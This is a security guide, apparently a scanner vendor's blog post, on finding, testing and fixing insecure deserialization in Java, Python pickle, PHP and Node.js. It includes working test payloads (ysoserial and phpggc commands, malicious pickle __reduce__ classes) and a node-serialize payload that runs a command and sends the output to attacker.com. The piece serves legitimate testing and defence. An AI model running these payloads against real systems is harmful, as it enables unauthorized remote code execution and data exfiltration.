Insecure Deserialization Testing: Java, Python, and PHP
In 2017, an attacker hit a financial services company's session management endpoint with a single HTTP request. The payload was a Base64-encoded blob tucked inside a cookie — nothing a WAF would flag as inherently suspicious. The server dutifully decoded it, handed it to Java's ObjectInputStream, and executed an OS command that staged the first foothold in a network compromise that lasted eleven months. The root cause was insecure deserialization. The fix, once discovered, was a one-line code change. The cleanup cost millions.
Insecure deserialization has appeared in the OWASP Top 10 not because it is common — it is relatively rare compared to injection flaws — but because when it is present, it is almost always critical. Remote code execution with no authentication, full server compromise from a single tampered cookie: the blast radius is about as large as vulnerabilities get. This guide covers how to find and test for insecure deserialization across the three ecosystems where it appears most often: Java, Python, and PHP, plus a look at Node.js patterns. For each ecosystem, the mechanics are different, but the underlying question is always the same — does the application deserialize attacker-controlled data using a format that supports arbitrary code execution?
How Deserialization Works — and Why It Goes Wrong
Serialization is the process of converting an in-memory object into a byte stream that can be stored or transmitted. Deserialization is the reverse: reconstructing a live object from that byte stream. Applications serialize objects for many legitimate reasons — persisting session state, passing objects between services, caching expensive computations, sending objects over message queues.
The problem arises when a runtime's native deserialization mechanism is powerful enough to execute arbitrary code as a side effect of object reconstruction. This isn't a bug in a single library — it's a design-level property of certain serialization formats. Java's native serialization, Python's pickle, and PHP's unserialize() all share this characteristic: they can instantiate any class available on the classpath/interpreter at the point of deserialization, and they invoke lifecycle methods (constructors, magic methods, finalizers) automatically.
When an attacker controls the byte stream fed into such a deserializer, they effectively control which classes get instantiated and which methods get called. The art of exploitation is finding a gadget chain — a sequence of classes already present in the application's dependencies, whose automatic method calls can be chained together to produce a useful primitive like arbitrary OS command execution or file write.
Java Deserialization
The Magic Bytes
Java's native serialization format has a fixed two-byte magic header: AC ED (decimal 172 237). When Base64-encoded, a serialized Java object always starts with rO0. This is your first indicator when scanning HTTP traffic.
Look for rO0 in:
- Cookie values (especially session cookies on Java EE applications — JBoss, WebLogic, WebSphere)
- POST body parameters
- HTTP headers (custom application headers,
X-Auth-Token, etc.) - Viewstate parameters in legacy JSF and Spring MVC applications
- RMI endpoints (port 1099 by default) and IIOP/T3 protocol traffic
A quick grep across intercepted traffic for the pattern rO0AB (the Base64 of AC ED 00 05, the full four-byte Java serialization header including stream version) will surface most candidates immediately.
Gadget Chains and ysoserial
The exploitation of Java deserialization depends entirely on what is on the classpath. The landmark tool for this is ysoserial, which contains pre-built gadget chains for the most commonly found Java libraries. Each chain is named after the library it exploits. The most historically significant:
| Chain | Library | Commonly Found In |
|---|---|---|
CommonsCollections1–7 |
Apache Commons Collections <= 3.2.1 / 4.0 | JBoss, WebSphere, Weblogic, Jenkins |
Spring1, Spring2 |
Spring Framework <= 4.2.4 | Spring MVC applications |
Groovy1 |
Groovy <= 2.4.3 | Jenkins, Grails applications |
JRMPClient |
JDK RMI subsystem | Any Java application with RMI exposed |
Hibernate1 |
Hibernate ORM | JPA applications |
Important: only use ysoserial against systems you are authorized to test. The payloads execute OS commands on the server.
The basic workflow for generating a test payload (using a DNS callback to confirm execution without a destructive command):
# Generate a payload that triggers a DNS lookup (out-of-band detection)
# Replace YOUR-COLLABORATOR-DOMAIN with a Burp Collaborator or interactsh domain
java -jar ysoserial.jar CommonsCollections1 \
'nslookup YOUR-COLLABORATOR-DOMAIN' | base64 -w0
# For a safer detection-only approach, use a sleep payload and measure response time:
java -jar ysoserial.jar CommonsCollections1 'sleep 5' | base64 -w0
# Inject the result into the target parameter, e.g. a cookie:
# Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu...
If the server responds five seconds later than baseline for a sleep payload, you have confirmed blind RCE. DNS-based detection is cleaner — a callback to your collaborator domain confirms execution without depending on response timing.
CommonsCollections in Detail
The CommonsCollections1 chain (discovered by Chris Frohoff and published at AppSecCali 2015) works because Apache Commons Collections InvokerTransformer can be used to invoke arbitrary methods via reflection. The chain looks roughly like this:
// Simplified view of the CommonsCollections1 gadget chain
// (For authorized testing reference — not a complete exploit)
// The chain entry point: a BadAttributeValueExpException is deserialized.
// Its readObject() calls toString() on a member field.
// That field is a TiedMapEntry, whose toString() calls getValue().
// getValue() triggers the LazyMap, which invokes the Transformer chain.
// The Transformer chain uses InvokerTransformer to call:
// Runtime.class
// .getMethod("exec", String.class)
// .invoke(Runtime.getRuntime(), command)
// Key library classes involved:
// - org.apache.commons.collections.functors.InvokerTransformer
// - org.apache.commons.collections.functors.ChainedTransformer
// - org.apache.commons.collections.keyvalue.TiedMapEntry
// - org.apache.commons.collections.map.LazyMap
The Spring Framework chains abuse org.springframework.core.SerializableTypeWrapper and reflection utilities to achieve similar results. If your target runs Spring and you see serialized objects in request parameters, Spring1 and Spring2 are your first test payloads after the CommonsCollections family.
Where to Look in Java Applications
Beyond HTTP cookies, Java deserialization vulnerabilities commonly appear in:
- JMX endpoints (default port 9999): RMI-based, accepts serialized objects by design
- WebLogic T3/IIOP protocol (ports 7001, 7002): historically some of the most severe CVEs
- JBoss/WildFly remoting: the original 2015 "billion laughs" class of Java deserialization RCEs
- Apache Tomcat session persistence: if configured to serialize sessions to disk, a session fixation + deserialization attack becomes possible
- XMLDecoder: not binary serialization, but XML-based and equally dangerous — look for it in older Spring and JAX-WS applications
Python Pickle Exploitation
Why Pickle Is Dangerous by Design
Python's pickle module documentation states plainly: "The pickle module is not secure. Only unpickle data you trust." Despite this warning appearing in the official docs since Python 2, pickled data continues to appear in session cookies, cache entries, and inter-service message queues in production applications.
The danger stems from the __reduce__ method. When an object is pickled, Python calls __reduce__ to get a tuple describing how to reconstruct the object. That tuple is (callable, args) — meaning any callable and any arguments. When unpickled, Python calls callable(*args). If an attacker can write a malicious __reduce__, they control exactly what gets executed at unpickle time.
# Malicious pickle payload (authorized testing only)
# This is the fundamental pattern — understand it to detect it
import pickle
import os
import base64
class MaliciousPayload:
def __reduce__(self):
# This executes on the server during unpickling
return (os.system, ('id',))
# Serialize to bytes, then Base64-encode for HTTP transport
payload_bytes = pickle.dumps(MaliciousPayload())
print(base64.b64encode(payload_bytes).decode())
# Output starts with: gASVK...
# The pickle opcode stream starts with \x80\x04 (protocol 4)
# or \x80\x02 (protocol 2, most common in legacy apps)
A more practical payload for out-of-band detection:
# DNS callback payload using subprocess (authorized testing only)
import pickle, base64, os
class DNSCallback:
def __reduce__(self):
cmd = 'nslookup YOUR-COLLABORATOR-DOMAIN'
return (os.system, (cmd,))
print(base64.b64encode(pickle.dumps(DNSCallback())).decode())
Identifying Pickle in the Wild
Python pickle streams have recognizable byte-level signatures depending on protocol version:
| Protocol | Magic Bytes (hex) | Base64 Prefix |
|---|---|---|
| Protocol 0 (text) | (none — starts with opcodes as ASCII) | Variable |
| Protocol 2 | 80 02 |
gAI |
| Protocol 3 | 80 03 |
gAS or gAN |
| Protocol 4 | 80 04 |
gASV |
| Protocol 5 | 80 05 |
gAUV |
When scanning, look for Base64 values in cookies, POST bodies, and HTTP headers that decode to these byte patterns. Common places pickle surfaces in real applications:
- Flask session cookies: older Flask configurations used pickle to serialize session data before signing (modern Flask uses JSON, but legacy apps persist)
- Django session backend: if configured with
PickleSerializer(not the default, but found in legacy codebases) - Celery task arguments: if a Celery broker is accessible (Redis, RabbitMQ), task args serialized with pickle become an attack surface
- Redis cache values: Python applications frequently cache objects by pickling them into Redis — if there is a cache poisoning vector, this can lead to deserialization RCE
- Machine learning model loading:
pickle.load()to load a.pklmodel file — if model files are user-supplied, this is RCE
Testing Approach for Python Applications
When you identify a session cookie or parameter that appears to contain a pickle stream, the testing process is:
- Decode the value from Base64 and confirm the magic bytes match a pickle protocol
- Use
pickletools.dis()to disassemble the pickle stream and understand its structure (safely, without executing it) - Craft a replacement payload with a
__reduce__that issues a DNS callback or sleep - Base64-encode the payload, replace the original cookie/parameter value, and send the request
- Observe whether your callback fires or whether a timing delay is introduced
# Safe disassembly of a suspected pickle (does NOT execute the payload)
import pickletools
import base64
suspected_value = "gASVKAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA1pZCA+IC90bXAvb3V0lIWUUpQu"
try:
raw = base64.b64decode(suspected_value)
pickletools.dis(raw) # Prints opcode stream without executing
except Exception as e:
print(f"Not a valid pickle stream: {e}")
PHP Object Injection
How PHP Unserialize Works
PHP's unserialize() function reconstructs PHP objects from a string representation. The format is compact and human-readable: O:4:"User":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}. That string tells PHP: instantiate a User object with two properties. When PHP instantiates that object during deserialization, it automatically calls two magic methods if they are defined on the class: __wakeup() (called immediately on deserialization) and __destruct() (called when the object is garbage collected).
If an attacker can control the string passed to unserialize(), they can inject any class that is currently loaded into the PHP runtime — not just the class the developer intended — and trigger the execution of any __wakeup() or __destruct() in those classes. This is PHP Object Injection.
POP Chains
A POP (Property-Oriented Programming) chain is the PHP equivalent of a Java gadget chain. It is a sequence of classes in the application's codebase or its Composer dependencies whose magic methods, when chained together through controlled property values, produce a useful exploit primitive.
The canonical detection target is any class whose __destruct() or __wakeup() performs file operations, eval, or shell execution with values derived from object properties. In large PHP frameworks and CMSes, these are surprisingly common. Notable historical examples:
- Magento (2015): Zend Framework's
Zend_Log_Writer_Mailchain — object injection led to RCE on virtually all Magento 1.x installations - WordPress with certain plugins: multiple plugins pass
$_COOKIEor$_GETvalues directly tounserialize() - Laravel: Eloquent model classes have historically contributed to POP chains; the PHPGGC tool (PHP Generic Gadget Chains) maintains a curated library
- Symfony:
Symfony\Component\Routing\Loader\XmlFileLoaderand related classes have appeared in chains
Finding the Entry Point
Source-level hunting for unserialize() with user-controlled input:
# Grep for unserialize() calls in PHP source
grep -rn "unserialize(" /var/www/html/ --include="*.php"
# Look specifically for unserialize with user-supplied data
grep -rn "unserialize(\$_" /var/www/html/ --include="*.php"
grep -rn "unserialize(base64_decode" /var/www/html/ --include="*.php"
# Also check: cookie values passed to unserialize
grep -rn 'unserialize.*COOKIE' /var/www/html/ --include="*.php"
grep -rn 'unserialize.*GET\|unserialize.*POST' /var/www/html/ --include="*.php"
Black-box indicators of PHP serialized data in HTTP parameters:
- Strings matching the pattern
O:\d+:"[a-zA-Z]+":\d+:{ - Strings starting with
a:(serialized array),s:(string),i:(integer) in cookie or GET/POST values - Base64-encoded values that decode to the above patterns
Crafting PHP Object Injection Payloads
Once you have identified a sink (unserialize() called on attacker-controlled data) and the application's class inventory (from source access or by fingerprinting the framework), use PHPGGC to generate payloads:
# List available gadget chains for a given framework
phpggc -l Laravel
phpggc -l Symfony
phpggc -l Wordpress
# Generate a Laravel RCE payload (authorized testing only)
phpggc Laravel/RCE1 system 'id'
# Generate base64-encoded payload for cookie injection
phpggc -b Laravel/RCE1 system 'id'
# Example: testing a vulnerable endpoint
# Assume the app reads: $data = unserialize(base64_decode($_COOKIE['user_prefs']));
curl -b "user_prefs=$(phpggc -b Laravel/RCE1 system id)" https://target.example.com/dashboard
When source is unavailable, a non-destructive test is to inject a serialized object that simply references a non-existent class and observe whether the application throws a class-not-found error — that error confirms unserialize() is being called on your input. From there, you enumerate the class inventory by injecting class names from known framework versions until one resolves without error.
The __wakeup Bypass (CVE-2016-7124)
PHP had a quirk that became a weapon: if you declare more properties in the serialized string than the object class has defined, PHP skips calling __wakeup() during deserialization. This was used to bypass security checks placed in __wakeup() by increasing the property count in the payload: O:4:"User":3:{...} where User only has 2 properties. This was patched in PHP 7.0.10+, but it remains relevant for older applications.
Node.js and JavaScript Deserialization
node-serialize and IIFE Patterns
JavaScript's native JSON serialization is safe — JSON cannot represent executable code. The danger appears in third-party packages that extend serialization to handle functions and complex objects. The node-serialize package (npm) is the canonical example.
node-serialize serializes functions by wrapping them in a string and evaluating them on deserialize. The attack pattern is the IIFE (Immediately Invoked Function Expression):
// Vulnerable application code pattern
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.cookies.profile);
// Malicious payload in the 'profile' cookie
// The _$$ND_FUNC$$_ prefix tells node-serialize this is a function
{
"username": "_$$ND_FUNC$$_function(){\
require('child_process').exec('id', function(error, stdout) {\
require('http').get('http://attacker.com/?o='+stdout);\
});\
}()"
}
// Note the () at the end — this is the IIFE: the function is both defined
// and immediately called during deserialization.
// Without the trailing (), the function is stored but not executed.
// With (), it executes immediately.
Other Node.js serialization libraries to scrutinize:
serialize-javascript: designed for client-side hydration, safe on its own but misused when fed back to server-sideeval()js-yamlwithsafeLoad: false(or the deprecatedyaml.load()): YAML supports tagged types, and!!js/undefined,!!js/functiontags can execute code in unsafe modecryo: another Node.js serialization library that supports functions and has been used in CTF-style attacks against internal tooling
Detection Techniques for Automated Scanning
What Automated Scanners Can Detect
There are concrete, reliable signals that automated scanners — including Ironimo — use to flag deserialization vulnerabilities:
- Magic byte detection in parameters: scanning all Base64-encoded values in cookies, POST bodies, and headers for
rO0(Java),gAS/gAN/gAI(Python pickle), and PHP serialization patterns (O:\d+:) - Content-type cross-referencing: a
application/x-java-serialized-objectContent-Type header is an explicit declaration of deserialization - Timing-based detection: injecting a sleep-based payload and measuring response time delta — a 5-second increase in response time after injecting a
Thread.sleep(5000)-based ysoserial payload is a reliable blind RCE indicator - Out-of-band DNS callbacks: injecting payloads containing DNS lookups to a collaborator domain provides unambiguous execution confirmation without requiring a visible HTTP response change
- Error message analysis: injecting malformed serialized data often produces revealing stack traces — a stack trace containing
java.io.ObjectInputStream,pickle.loads, orunserialize()in the error confirms the code path
What Automated Scanners Cannot Reliably Detect
Be honest about limitations. Automated scanning has blind spots with deserialization:
- Novel gadget chains: if the target uses a dependency not in ysoserial's or PHPGGC's chain libraries, a scanner will not find the path to RCE even if the deserializer is reachable
- Allowlisted deserializers: some implementations use deserialization filters (Java 9+
ObjectInputFilter, or JEP 290) that block known gadget classes — a scanner may conclude the endpoint is protected when a new chain bypasses the filter - Indirect sinks: deserialization that happens several call layers deep, triggered by a seemingly unrelated parameter (e.g., a file path that leads to reading and deserializing a cached file), is hard for black-box scanners to trace
- Authentication-gated endpoints: many Java application servers expose deserialization over JMX or RMI on internal ports — a perimeter scanner will not reach these without credentials and network access
Remediation
The Primary Defense: Don't Use Native Serialization for Untrusted Input
The most effective remediation is architectural. If you are serializing data for transport or storage and that data might ever be read from an untrusted source, use a format that cannot represent executable objects:
- JSON is the standard replacement in most cases — use
json.dumps()/json.loads()in Python instead of pickle, use JSON-based session backends in Django/Flask, useJSON.stringify()/JSON.parse()in Node.js - Protocol Buffers or MessagePack for performance-sensitive inter-service communication — both use schema-based encoding with no room for arbitrary class instantiation
- XML with a strict schema (if you must use XML) — but avoid Java's
XMLDecoderfor untrusted input, which is as dangerous asObjectInputStream
Language-Specific Controls
Java: Use ObjectInputFilter (introduced in Java 9, backported via JEP 290 to Java 6/7/8). Create an allowlist of classes that are legitimate to deserialize:
// Java deserialization filter — allowlist approach
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
Class<?> cls = info.serialClass();
if (cls == null) return ObjectInputFilter.Status.UNDECIDED;
// Only allow specific safe classes
if (cls == MySessionData.class || cls == UserPreferences.class) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Additionally, deploy the Serial Killer or NotSoSerial Java agent in your JVM to enforce deserialization filtering at the JVM level as a defense-in-depth measure.
Python: Replace all pickle usage for untrusted data with json, marshmallow, or pydantic. If you must deserialize complex objects, use __reduce_ex__ with a strict allowlist or use a safe serialization library like cattrs with explicit converters. For Django sessions, ensure SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' (the default since Django 1.6 — but verify legacy apps haven't overridden it).
PHP: Avoid passing any user-controlled data to unserialize(). For session data, use JSON: session_set_serialization_handler('json') (PHP 5.5.4+). Where unserialize is unavoidable for legacy reasons, use the allowed_classes option introduced in PHP 7.0:
<?php
// PHP 7.0+ allowed_classes restriction
$data = unserialize($input, ['allowed_classes' => ['UserPreferences', 'CartData']]);
// Even better: pass false to disallow all class instantiation
// (safe only if you only need arrays and scalar values)
$data = unserialize($input, ['allowed_classes' => false]);
Node.js: Remove node-serialize from your dependency tree. Use JSON.parse() for all user-supplied data. If you need to transfer complex state, define explicit serialization/deserialization functions that validate each field individually rather than using generic serializers.
Defense in Depth
Even after fixing the primary code path, these controls reduce risk further:
- Integrity checking: sign serialized data with HMAC before storing or transmitting, verify the signature before deserializing. This does not fix the underlying vulnerability but makes tampering detectable. Flask's signed cookies do this correctly — the issue is when developers switch to pickle while keeping the same signing logic
- Principle of least privilege: the application process should not run as root. Deserialization RCE that drops to a non-privileged user in a hardened container is far less catastrophic than root RCE on the host
- Network segmentation: JMX, RMI, and IIOP ports should never be Internet-facing. Filter at the network layer
- Dependency freshness: the Commons Collections gadget chain was patched in 3.2.2 in November 2015. Applications still running 3.2.1 in production in 2026 have had over a decade to patch. Keep your dependency inventory current
- Runtime Application Self-Protection (RASP): RASP agents can intercept deserialization calls at the JVM level and terminate requests that attempt to instantiate blacklisted classes — useful as a last line of defense while code-level fixes are deployed
Insecure deserialization sits at an uncomfortable intersection: it requires application-level access to find (a scanner needs to observe the serialized data in transit), framework-level knowledge to exploit (the right gadget chain for the right library version), and architectural change to truly fix (not just a patch, but a format migration). That combination makes it persistently underreported in manual assessments and underdetected in automated scans. The first step is knowing what to look for — and the magic bytes are almost always the start of that story.
Ironimo runs Kali Linux-powered scanning that flags exposed deserialization endpoints, detects base64-encoded Java serialized objects in request parameters, and tests common gadget chains against your applications.